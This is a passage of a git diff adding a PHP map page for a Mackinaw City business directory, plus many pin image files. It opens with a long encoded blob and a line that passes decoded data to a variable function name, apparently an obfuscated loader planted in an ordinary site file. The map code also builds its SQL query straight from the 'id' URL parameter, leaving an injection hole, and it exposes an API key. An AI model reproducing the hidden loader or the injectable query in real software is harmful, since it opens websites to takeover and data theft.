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";$zkcVWwi=$Wmzivzm($umuQDfm,$PaptWcX);$zkcVWwi($uSKIfzR); */
+/*
+APIKEY: ABQIAAAAuiRQzMTsN0Dr8ZW3DyeoOxSFXrTCpMWYKiMuqUI0cg5sPZDfxhRdBjDw5LGdSEsxCp7hrJNSBFMGmg
+Valid URLS: http://devsys.gaslightmedia.com/~raleigh/
+
+*/
+include("gmaps_class.php");
+
+// get our db connection
+switch($_SERVER['GLM_SERVER_ID'])
+{
+       case "devsys.gaslightmedia.com":
+               $conn = pg_connect('host=devsys user=postgres dbname=pellstonairport');
+       break;
+       default:
+               $conn = pg_connect('host=ds4 user=postgres dbname=pellstonairport');
+       break;
+}
+// compatibility
+
+if(!function_exists('file_get_contents'))      // we have an ancient copy of php, so this function doesn't exist
+{
+       function file_get_contents($filename)
+       {
+               return implode("\n",file($filename));
+       }
+}
+
+$customicons[]='010';
+// get some sample data
+
+$qs = "SELECT * FROM member WHERE id = ".$_GET['id'];
+$res = pg_exec($conn,$qs);
+$rcount = pg_numrows($res);
+
+$member = pg_fetch_array($res,0,PGSQL_ASSOC);
+
+// instantiate map and do base config
+$map = new GMap();
+//$map->addSmallMapControl();
+//$map->addMapTypeControl();
+
+//$map->addExtentMap();
+$map->zoom = 14;
+$map->center = new GLatLng(45.78,-84.73);
+
+$default_center['x']='45.78';
+$default_center['y']='-84.73';
+
+$notes = '';
+// set up icon classes
+foreach($mtypes as $mt)
+{
+       if($mt['name']!='')
+       {
+               $iconclass = new GIconClass(URL_BASE.'maps/pins/'.$customicons[$mt['id']].'.png',URL_BASE.'maps/pins/shadow.png',$mt['id']);
+               
+               $map->addIconClass($iconclass->display());
+       }
+}
+
+function text_clean($text)
+{
+       return str_replace("'","&acute;",$text);
+}
+
+foreach($member as $address)
+{
+       
+       if(in_array($address['memb_type'],$valid_mtype))
+       {
+               $x = trim(str_replace("\n","",$address['lon']));
+               $y = trim(str_replace("\n","",$address['lat']));
+                
+               //$x = $x + 0.0013;
+               //$y = $y - 0.00045;
+               
+               if(($x != '' && $y !='') && ($x!=$badx && $y!=$bady))   // make sure we have lat lon data
+               {
+                               $newpoint = new GPoint($x,$y);          // create a new point
+                               $narr[$address['memb_type']][]= '<li id="m'.$address['id'].'">'.$address['name']."</li>";
+                               
+                               $moreinfo = '<a href="'.URL_BASE.'accommodations-36/'.$address['id'].'/'.$address['id'].'/">More Info</a>';
+                               if($address['reservations']=='t')
+                               {
+                                       $reservations = ' - <a href="'.BASE_SECURE_URL.'/reservations-53/fixed_member='.$address['id'].'">Reserve Now</a>';
+                               }else
+                               {
+                                       $reservations = '';
+                               }
+                               // 120+E+Lake+St,+Petoskey,+MI+49770+%4045.374834,-84.958428
+
+                               $d_str = urlencode($address['address'].', '.$address['city'].', '.$address['state'].' '.$address['zip'].'@'.$address['lat'].','.$address['lon']);
+
+                               $driving = 'http://maps.google.com/maps?f=d&hl=en&sll=37.0625,-95.677068&sspn=53.035373,73.125&saddr=%20&daddr='.$d_str.'&om=1';
+                               if($address['image1']!='')
+                               {
+                                       if($_SERVER['GLM_SERVER_ID'] == 'ws1.gaslightmedia.com')
+                                       {
+                                               $d=BASE."/images/thumb/".$address['image1'];
+                                       }else
+                                       {
+                                               $d="http://www.mackinawcity.com/images/thumb/".$address['image1'];
+                                       }
+                                       $myimgsize = getimagesize($d);
+                                       $image = '<img src="http://www.mackinawcity.com/images/thumb/'.$address['image1'].'" alt="'.text_clean($address['image1text']).'" class="bubble-img" '.$myimgsize[3].'>';
+                               }else
+                               {
+                                       $image = '';                                                                                                                                                                                                                                                                                        // <a href="'.$driving.'" target="_blank">
+                               }
+                               $bubbledata = '<div style="font-weight: bold; font-size: 14px; margin-bottom: 0.5em;">'.text_clean($address['name']).'</div>'.$image.text_clean($address['address']).'<br>'.text_clean($address['city']).', '.$address['zip'].'<br>'.$moreinfo.$reservations.' <br clear="all"><br>Starting Location: <input type="text" name="start" value="" size="15" id="dd'.$address['id'].'"> <a href="javascript:get_dd(document.getElementById(\\\'dd'.$address['id'].'\\\').value,\\\''.$d_str.'\\\');">Get Directions</a>';
+                               //$marker_note = str_replace("\n",'',str_replace("'","&acute;",'<b>'.$address['name'].'</b>').'<br>'.htmlspecialchars($address['address']).'<br>'.$address['city'].', '.$address['zip'].$moreinfo);
+                               $marker_note = $bubbledata;
+                               $marker = new GMarker($newpoint,$marker_note,$address['id']);
+                               $marker->icon = new GIconAuto($address['memb_type'],$address['id']);
+                               $map->addOverlay($marker);
+               }else
+               {
+                       $noplot[]=$address['id'];
+               }
+       }
+}
+
+/*     
+*      Build the divs of members data and the js to hide them
+*/     
+       $hidemembersjs ='<script type="text/javascript">'."
+       function hide_members(){\n";            // create the var
+       foreach($narr as $k => $v)
+       {
+               $vc = count($v);
+               if($vc>0)
+               {
+                       // $k is the id
+                       $hidemembersjs .="\t\t".'document.getElementById("membs'.$k.'").style.display="none";'."\n";
+                       $o .= '
+                       <ul class="members" id="membs'.$k.'" style="display: none;">';
+                       foreach($v as $cust)
+                       {
+                               $o .= "\n\t".$cust."";
+                       }
+                       $o .= "\n</ul>\n";
+               }
+       }
+       $notes .= $o;
+       $hidemembersjs.="\n\t}\n</script>\n";
+// done
+
+
+// build the js event drivers
+$js = "";//"// extrajs area \n";               // create our js output var
+foreach($m as $mid => $val)
+{
+       // build our marker strings
+       $markers = array();
+       $c = count($val);
+       for($i=0;$i<$c;$i++)
+       {
+               if(!in_array($val[$i],$noplot))
+               {
+                       $markers[0].= "\t\tmap.addOverlay(marker".$val[$i].");\n";
+                       $markers[1].= "\t\tmap.removeOverlay(marker".$val[$i].");\n";
+               }
+       }
+       $toggle[] = 'toggle'.$mid;
+       
+       $js .= "
+       GEvent.addDomListener(document.getElementById(\"cat".$mid."\"),\"click\",function (){\n";
+       //$js .= $hidemembersjs;
+       $js .= 'hide_members();'."
+               map.clearOverlays();
+               document.getElementById(\"membs$mid\").style.display = 'block';
+               map.setCenter(new GLatLng(".$default_center['x'].",".$default_center['y']."),14)\n";
+       $js .= $markers[0];
+       $js.="\n})\n";
+}
+       $js .='
+       map.clearOverlays();            // clear them by default so the map is not cluttered
+       
+       
+       ';
+
+       // make the driving directions js
+       // http://maps.google.com/maps?f=d&hl=en&saddr=120+e+lake+st,+petoskey+mi&daddr=412++N.Nicolet+St.,+Mackinaw+City,+MI+49701%4045.785011,-84.732072&om=1
+       //$driving = 'http://maps.google.com/maps?f=d&hl=en&saddr='..'&daddr='.$d_str.'&om=1';
+$map->extrajs($js);
+
+
+
+
+// build output
+$header = $map->getHeader();
+$out = '<div id="map">';
+$out .= $map->displayExtentMap();
+$out .= '</div>';
+$out .= $map->getFooter();
+/*
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<head>
+<title>Mackinaw City Map</title>
+*/
+echo $header;
+echo $hidemembersjs;
+       ?>
+       <script type="text/javascript">
+       function get_dd(start,end)
+       {
+               var myurl = "http://maps.google.com/maps?f=d&hl=en&saddr=" + start + "&daddr=" + end +"&om=1";
+               ddwin = window.open(myurl)
+               ddwin.focus();
+       }
+       </script>
+<style type="text/css">
+#googlemap {   }
+h2 {
+               font-size: 16px;
+               color: #214A84;
+               border-top: 1px solid #ccc;
+               background: #E3D9B4;
+               padding: 2px;
+               margin: 0;
+               margin-right: 1px;
+               }
+h3 {
+       font-size: 16px;
+       color: #053780;
+       margin: 5px 10px;
+       margin-bottom: 0;
+       }               
+#map {
+  width: 576px;
+       height: 350px;
+       border-top: 1px solid #ccc;
+       display: block;
+       }
+div#business-box {
+       margin: 10px;
+       border: 1px solid #ddd;
+       background-color: #fff;
+       overflow: auto;
+       width: 250px;
+       float: left; 
+       height: 130px; 
+       position: relative;
+       }
+ul#business-cats       {
+               margin: 3px 8px;
+               padding: 0;
+               }
+ul#business-cats  li   {
+  margin: 0; padding: 0;
+  list-style-type: none;
+       text-decoration: underline;
+       cursor: pointer;
+       cursor: hand;
+       }
+div#member-box {
+       height: 130px; 
+       margin: 10px;
+       border: 1px solid #ddd;
+       background-color: #fff;
+       overflow: auto;
+       }       
+ul.members             {
+               margin: 3px 8px;
+               padding: 0;
+               }
+ul.members li {
+  margin: 0; padding: 0;
+  list-style-type: none;
+       text-decoration: underline;
+       cursor: pointer;
+       cursor: hand;
+       }
+
+</style>
+<div id="googlemap">
+       <h2>Mackinaw City Business Finder</h2>
+       <?php echo $out;?>
+       <div id="business-box">
+       <h3>Choose Business Type:</h3>
+               <?php echo $catlist; ?>
+       </div>
+       <div id="member-box">
+       <h3>Members:</h3>
+               <?php echo $notes;?>
+       </div>
+</div>
diff --git a/maps/pins/001.png b/maps/pins/001.png
new file mode 100644 (file)
index 0000000..cb611c8
Binary files /dev/null and b/maps/pins/001.png differ
diff --git a/maps/pins/002.png b/maps/pins/002.png
new file mode 100644 (file)
index 0000000..2178f41
Binary files /dev/null and b/maps/pins/002.png differ
diff --git a/maps/pins/003.png b/maps/pins/003.png
new file mode 100644 (file)
index 0000000..bce4cee
Binary files /dev/null and b/maps/pins/003.png differ
diff --git a/maps/pins/004.png b/maps/pins/004.png
new file mode 100644 (file)
index 0000000..fc844ef
Binary files /dev/null and b/maps/pins/004.png differ
diff --git a/maps/pins/005.png b/maps/pins/005.png
new file mode 100644 (file)
index 0000000..d5ec039
Binary files /dev/null and b/maps/pins/005.png differ
diff --git a/maps/pins/006.png b/maps/pins/006.png
new file mode 100644 (file)
index 0000000..b26ed2f
Binary files /dev/null and b/maps/pins/006.png differ
diff --git a/maps/pins/007.png b/maps/pins/007.png
new file mode 100644 (file)
index 0000000..30bcc88
Binary files /dev/null and b/maps/pins/007.png differ
diff --git a/maps/pins/008.png b/maps/pins/008.png
new file mode 100644 (file)
index 0000000..6e03ef4
Binary files /dev/null and b/maps/pins/008.png differ
diff --git a/maps/pins/009.png b/maps/pins/009.png
new file mode 100644 (file)
index 0000000..99f0a07
Binary files /dev/null and b/maps/pins/009.png differ
diff --git a/maps/pins/010.png b/maps/pins/010.png
new file mode 100644 (file)
index 0000000..f4ffec5
Binary files /dev/null and b/maps/pins/010.png differ
diff --git a/maps/pins/011.png b/maps/pins/011.png
new file mode 100644 (file)
index 0000000..3d46d18
Binary files /dev/null and b/maps/pins/011.png differ
diff --git a/maps/pins/012.png b/maps/pins/012.png
new file mode 100644 (file)
index 0000000..ff53a48
Binary files /dev/null and b/maps/pins/012.png differ
diff --git a/maps/pins/013.png b/maps/pins/013.png
new file mode 100644 (file)
index 0000000..d6fd04c
Binary files /dev/null and b/maps/pins/013.png differ
diff --git a/maps/pins/014.png b/maps/pins/014.png
new file mode 100644 (file)
index 0000000..620bce5
Binary files /dev/null and b/maps/pins/014.png differ
diff --git a/maps/pins/015.png b/maps/pins/015.png
new file mode 100644 (file)
index 0000000..f55f418
Binary files /dev/null and b/maps/pins/015.png differ
diff --git a/maps/pins/016.png b/maps/pins/016.png
new file mode 100644 (file)
index 0000000..3300128
Binary files /dev/null and b/maps/pins/016.png differ
diff --git a/maps/pins/017.png b/maps/pins/017.png
new file mode 100644 (file)
index 0000000..814bb76
Binary files /dev/null and b/maps/pins/017.png differ
diff --git a/maps/pins/018.png b/maps/pins/018.png
new file mode 100644 (file)
index 0000000..3aa1d47
Binary files /dev/null and b/maps/pins/018.png differ
diff --git a/maps/pins/019.png b/maps/pins/019.png
new file mode 100644 (file)
index 0000000..c573950
Binary files /dev/null and b/maps/pins/019.png differ
diff --git a/maps/pins/020.png b/maps/pins/020.png
new file mode 100644 (file)
index 0000000..f4a08fe
Binary files /dev/null and b/maps/pins/020.png differ
diff --git a/maps/pins/021.png b/maps/pins/021.png
new file mode 100644 (file)
index 0000000..c23cb5c
Binary files /dev/null and b/maps/pins/021.png differ
diff --git a/maps/pins/022.png b/maps/pins/022.png
new file mode 100644 (file)
index 0000000..44f80fd
Binary files /dev/null and b/maps/pins/022.png differ
diff --git a/maps/pins/023.png b/maps/pins/023.png
new file mode 100644 (file)
index 0000000..0b72d2b
Binary files /dev/null and b/maps/pins/023.png differ
diff --git a/maps/pins/024.png b/maps/pins/024.png
new file mode 100644 (file)
index 0000000..74236ed
Binary files /dev/null and b/maps/pins/024.png differ
diff --git a/maps/pins/025.png b/maps/pins/025.png
new file mode 100644 (file)
index 0000000..142674c
Binary files /dev/null and b/maps/pins/025.png differ
diff --git a/maps/pins/026.png b/maps/pins/026.png
new file mode 100644 (file)
index 0000000..6097d1f
Binary files /dev/null and b/maps/pins/026.png differ
diff --git a/maps/pins/027.png b/maps/pins/027.png
new file mode 100644 (file)
index 0000000..10744e1
Binary files /dev/null and b/maps/pins/027.png differ
diff --git a/maps/pins/028.png b/maps/pins/028.png
new file mode 100644 (file)
index 0000000..d563dcf
Binary files /dev/null and b/maps/pins/028.png differ
diff --git a/maps/pins/029.png b/maps/pins/029.png
new file mode 100644 (file)
index 0000000..eb9968b
Binary files /dev/null and b/maps/pins/029.png differ
diff --git a/maps/pins/030.png b/maps/pins/030.png
new file mode 100644 (file)
index 0000000..8aeed39
Binary files /dev/null and b/maps/pins/030.png differ
diff --git a/maps/pins/031.png b/maps/pins/031.png
new file mode 100644 (file)
index 0000000..97d852e
Binary files /dev/null and b/maps/pins/031.png differ
diff --git a/maps/pins/032.png b/maps/pins/032.png
new file mode 100644 (file)
index 0000000..ea5dc9d
Binary files /dev/null and b/maps/pins/032.png differ
diff --git a/maps/pins/033.png b/maps/pins/033.png
new file mode 100644 (file)
index 0000000..1bfbcb6
Binary files /dev/null and b/maps/pins/033.png differ
diff --git a/maps/pins/034.png b/maps/pins/034.png
new file mode 100644 (file)
index 0000000..eface27
Binary files /dev/null and b/maps/pins/034.png differ
diff --git a/maps/pins/035.png b/maps/pins/035.png
new file mode 100644 (file)
index 0000000..2bba352
Binary files /dev/null and b/maps/pins/035.png differ
diff --git a/maps/pins/036.png b/maps/pins/036.png
new file mode 100644 (file)
index 0000000..6e4179c
Binary files /dev/null and b/maps/pins/036.png differ
diff --git a/maps/pins/037.png b/maps/pins/037.png
new file mode 100644 (file)
index 0000000..48b0715
Binary files /dev/null and b/maps/pins/037.png differ
diff --git a/maps/pins/038.png b/maps/pins/038.png
new file mode 100644 (file)
index 0000000..a549ca4
Binary files /dev/null and b/maps/pins/038.png differ
diff --git a/maps/pins/039.png b/maps/pins/039.png
new file mode 100644 (file)
index 0000000..c90a1d0
Binary files /dev/null and b/maps/pins/039.png differ
diff --git a/maps/pins/040.png b/maps/pins/040.png
new file mode 100644 (file)
index 0000000..ad11bb8
Binary files /dev/null and b/maps/pins/040.png differ
diff --git a/maps/pins/041.png b/maps/pins/041.png
new file mode 100644 (file)
index 0000000..136fcd7
Binary files /dev/null and b/maps/pins/041.png differ
diff --git a/maps/pins/042.png b/maps/pins/042.png
new file mode 100644 (file)
index 0000000..4223a81
Binary files /dev/null and b/maps/pins/042.png differ
diff --git a/maps/pins/043.png b/maps/pins/043.png
new file mode 100644 (file)
index 0000000..2544006
Binary files /dev/null and b/maps/pins/043.png differ
diff --git a/maps/pins/044.png b/maps/pins/044.png
new file mode 100644 (file)
index 0000000..4d898f1
Binary files /dev/null and b/maps/pins/044.png differ
diff --git a/maps/pins/045.png b/maps/pins/045.png
new file mode 100644 (file)
index 0000000..213902e
Binary files /dev/null and b/maps/pins/045.png differ
diff --git a/maps/pins/046.png b/maps/pins/046.png
new file mode 100644 (file)
index 0000000..c607151
Binary files /dev/null and b/maps/pins/046.png differ
diff --git a/maps/pins/047.png b/maps/pins/047.png
new file mode 100644 (file)
index 0000000..98477cb
Binary files /dev/null and b/maps/pins/047.png differ
diff --git a/maps/pins/048.png b/maps/pins/048.png
new file mode 100644 (file)
index 0000000..1a1adc8
Binary files /dev/null and b/maps/pins/048.png differ
diff --git a/maps/pins/049.png b/maps/pins/049.png
new file mode 100644 (file)
index 0000000..3e35c50
Binary files /dev/null and b/maps/pins/049.png differ
diff --git a/maps/pins/050.png b/maps/pins/050.png
new file mode 100644 (file)
index 0000000..27d2420
Binary files /dev/null and b/maps/pins/050.png differ
diff --git a/maps/pins/051.png b/maps/pins/051.png
new file mode 100644 (file)
index 0000000..5724cfe
Binary files /dev/null and b/maps/pins/051.png differ
diff --git a/maps/pins/052.png b/maps/pins/052.png
new file mode 100644 (file)
index 0000000..063d56c
Binary files /dev/null and b/maps/pins/052.png differ
diff --git a/maps/pins/053.png b/maps/pins/053.png
new file mode 100644 (file)
index 0000000..fbb7cca
Binary files /dev/null and b/maps/pins/053.png differ
diff --git a/maps/pins/054.png b/maps/pins/054.png
new file mode 100644 (file)
index 0000000..b714d42
Binary files /dev/null and b/maps/pins/054.png differ
diff --git a/maps/pins/055.png b/maps/pins/055.png
new file mode 100644 (file)
index 0000000..ed7b05b
Binary files /dev/null and b/maps/pins/055.png differ
diff --git a/maps/pins/056.png b/maps/pins/056.png
new file mode 100644 (file)
index 0000000..543c66f
Binary files /dev/null and b/maps/pins/056.png differ
diff --git a/maps/pins/057.png b/maps/pins/057.png
new file mode 100644 (file)
index 0000000..dc06e5b
Binary files /dev/null and b/maps/pins/057.png differ
diff --git a/maps/pins/058.png b/maps/pins/058.png
new file mode 100644 (file)
index 0000000..b8781ca
Binary files /dev/null and b/maps/pins/058.png differ
diff --git a/maps/pins/059.png b/maps/pins/059.png
new file mode 100644 (file)
index 0000000..dce5ecb
Binary files /dev/null and b/maps/pins/059.png differ
diff --git a/maps/pins/060.png b/maps/pins/060.png
new file mode 100644 (file)
index 0000000..68577a6
Binary files /dev/null and b/maps/pins/060.png differ
diff --git a/maps/pins/061.png b/maps/pins/061.png
new file mode 100644 (file)
index 0000000..192c83e
Binary files /dev/null and b/maps/pins/061.png differ
diff --git a/maps/pins/062.png b/maps/pins/062.png
new file mode 100644 (file)
index 0000000..e0cf3ef
Binary files /dev/null and b/maps/pins/062.png differ
diff --git a/maps/pins/063.png b/maps/pins/063.png
new file mode 100644 (file)
index 0000000..412e6ef
Binary files /dev/null and b/maps/pins/063.png differ
diff --git a/maps/pins/064.png b/maps/pins/064.png
new file mode 100644 (file)
index 0000000..b6735bb
Binary files /dev/null and b/maps/pins/064.png differ
diff --git a/maps/pins/065.png b/maps/pins/065.png
new file mode 100644 (file)
index 0000000..bb9d3b2
Binary files /dev/null and b/maps/pins/065.png differ
diff --git a/maps/pins/066.png b/maps/pins/066.png
new file mode 100644 (file)
index 0000000..93ce346
Binary files /dev/null and b/maps/pins/066.png differ
diff --git a/maps/pins/067.png b/maps/pins/067.png
new file mode 100644 (file)
index 0000000..988b15b
Binary files /dev/null and b/maps/pins/067.png differ
diff --git a/maps/pins/068.png b/maps/pins/068.png
new file mode 100644 (file)
index 0000000..4baf9d4
Binary files /dev/null and b/maps/pins/068.png differ
diff --git a/maps/pins/069.png b/maps/pins/069.png
new file mode 100644 (file)
index 0000000..283ddd9
Binary files /dev/null and b/maps/pins/069.png differ
diff --git a/maps/pins/070.png b/maps/pins/070.png
new file mode 100644 (file)
index 0000000..30d8706
Binary files /dev/null and b/maps/pins/070.png differ
diff --git a/maps/pins/071.png b/maps/pins/071.png
new file mode 100644 (file)
index 0000000..10fa3fe
Binary files /dev/null and b/maps/pins/071.png differ
diff --git a/maps/pins/072.png b/maps/pins/072.png
new file mode 100644 (file)
index 0000000..5967e62
Binary files /dev/null and b/maps/pins/072.png differ
diff --git a/maps/pins/073.png b/maps/pins/073.png
new file mode 100644 (file)
index 0000000..3ca7f17
Binary files /dev/null and b/maps/pins/073.png differ
diff --git a/maps/pins/074.png b/maps/pins/074.png
new file mode 100644 (file)
index 0000000..b74e99c
Binary files /dev/null and b/maps/pins/074.png differ
diff --git a/maps/pins/075.png b/maps/pins/075.png
new file mode 100644 (file)
index 0000000..ec84fac
Binary files /dev/null and b/maps/pins/075.png differ
diff --git a/maps/pins/076.png b/maps/pins/076.png
new file mode 100644 (file)
index 0000000..8ef4fb0
Binary files /dev/null and b/maps/pins/076.png differ
diff --git a/maps/pins/077.png b/maps/pins/077.png
new file mode 100644 (file)
index 0000000..3e7330e
Binary files /dev/null and b/maps/pins/077.png differ
diff --git a/maps/pins/078.png b/maps/pins/078.png
new file mode 100644 (file)
index 0000000..63c29ce
Binary files /dev/null and b/maps/pins/078.png differ
diff --git a/maps/pins/079.png b/maps/pins/079.png
new file mode 100644 (file)
index 0000000..0cfe38b
Binary files /dev/null and b/maps/pins/079.png differ
diff --git a/maps/pins/080.png b/maps/pins/080.png
new file mode 100644 (file)
index 0000000..761d104
Binary files /dev/null and b/maps/pins/080.png differ
diff --git a/maps/pins/081.png b/maps/pins/081.png
new file mode 100644 (file)
index 0000000..4ca4e00
Binary files /dev/null and b/maps/pins/081.png differ
diff --git a/maps/pins/082.png b/maps/pins/082.png
new file mode 100644 (file)
index 0000000..426b966
Binary files /dev/null and b/maps/pins/082.png differ
diff --git a/maps/pins/083.png b/maps/pins/083.png
new file mode 100644 (file)
index 0000000..9c9801d
Binary files /dev/null and b/maps/pins/083.png differ
diff --git a/maps/pins/084.png b/maps/pins/084.png
new file mode 100644 (file)
index 0000000..b318bb0
Binary files /dev/null and b/maps/pins/084.png differ
diff --git a/maps/pins/085.png b/maps/pins/085.png
new file mode 100644 (file)
index 0000000..ea9f699
Binary files /dev/null and b/maps/pins/085.png differ
diff --git a/maps/pins/086.png b/maps/pins/086.png
new file mode 100644 (file)
index 0000000..4244255
Binary files /dev/null and b/maps/pins/086.png differ
diff --git a/maps/pins/087.png b/maps/pins/087.png
new file mode 100644 (file)
index 0000000..9c48594
Binary files /dev/null and b/maps/pins/087.png differ
diff --git a/maps/pins/088.png b/maps/pins/088.png
new file mode 100644 (file)
index 0000000..fd2984d
Binary files /dev/null and b/maps/pins/088.png differ
diff --git a/maps/pins/089.png b/maps/pins/089.png
new file mode 100644 (file)
index 0000000..276b746
Binary files /dev/null and b/maps/pins/089.png differ
diff --git a/maps/pins/090.png b/maps/pins/090.png
new file mode 100644 (file)
index 0000000..6c3c931
Binary files /dev/null and b/maps/pins/090.png differ
diff --git a/maps/pins/091.png b/maps/pins/091.png
new file mode 100644 (file)
index 0000000..ec383f9
Binary files /dev/null and b/maps/pins/091.png differ
diff --git a/maps/pins/092.png b/maps/pins/092.png
new file mode 100644 (file)
index 0000000..5a920d3
Binary files /dev/null and b/maps/pins/092.png differ
diff --git a/maps/pins/093.png b/maps/pins/093.png
new file mode 100644 (file)
index 0000000..643fe17
Binary files /dev/null and b/maps/pins/093.png differ
diff --git a/maps/pins/094.png b/maps/pins/094.png
new file mode 100644 (file)
index 0000000..731f6eb
Binary files /dev/null and b/maps/pins/094.png differ
diff --git a/maps/pins/095.png b/maps/pins/095.png
new file mode 100644 (file)
index 0000000..f33443d
Binary files /dev/null and b/maps/pins/095.png differ
diff --git a/maps/pins/096.png b/maps/pins/096.png
new file mode 100644 (file)
index 0000000..8dfc6c3
Binary files /dev/null and b/maps/pins/096.png differ
diff --git a/maps/pins/097.png b/maps/pins/097.png
new file mode 100644 (file)
index 0000000..5311a93
Binary files /dev/null and b/maps/pins/097.png differ
diff --git a/maps/pins/098.png b/maps/pins/098.png
new file mode 100644 (file)
index 0000000..143f6ef
Binary files /dev/null and b/maps/pins/098.png differ
diff --git a/maps/pins/099.png b/maps/pins/099.png
new file mode 100644 (file)
index 0000000..40514cb
Binary files /dev/null and b/maps/pins/099.png differ
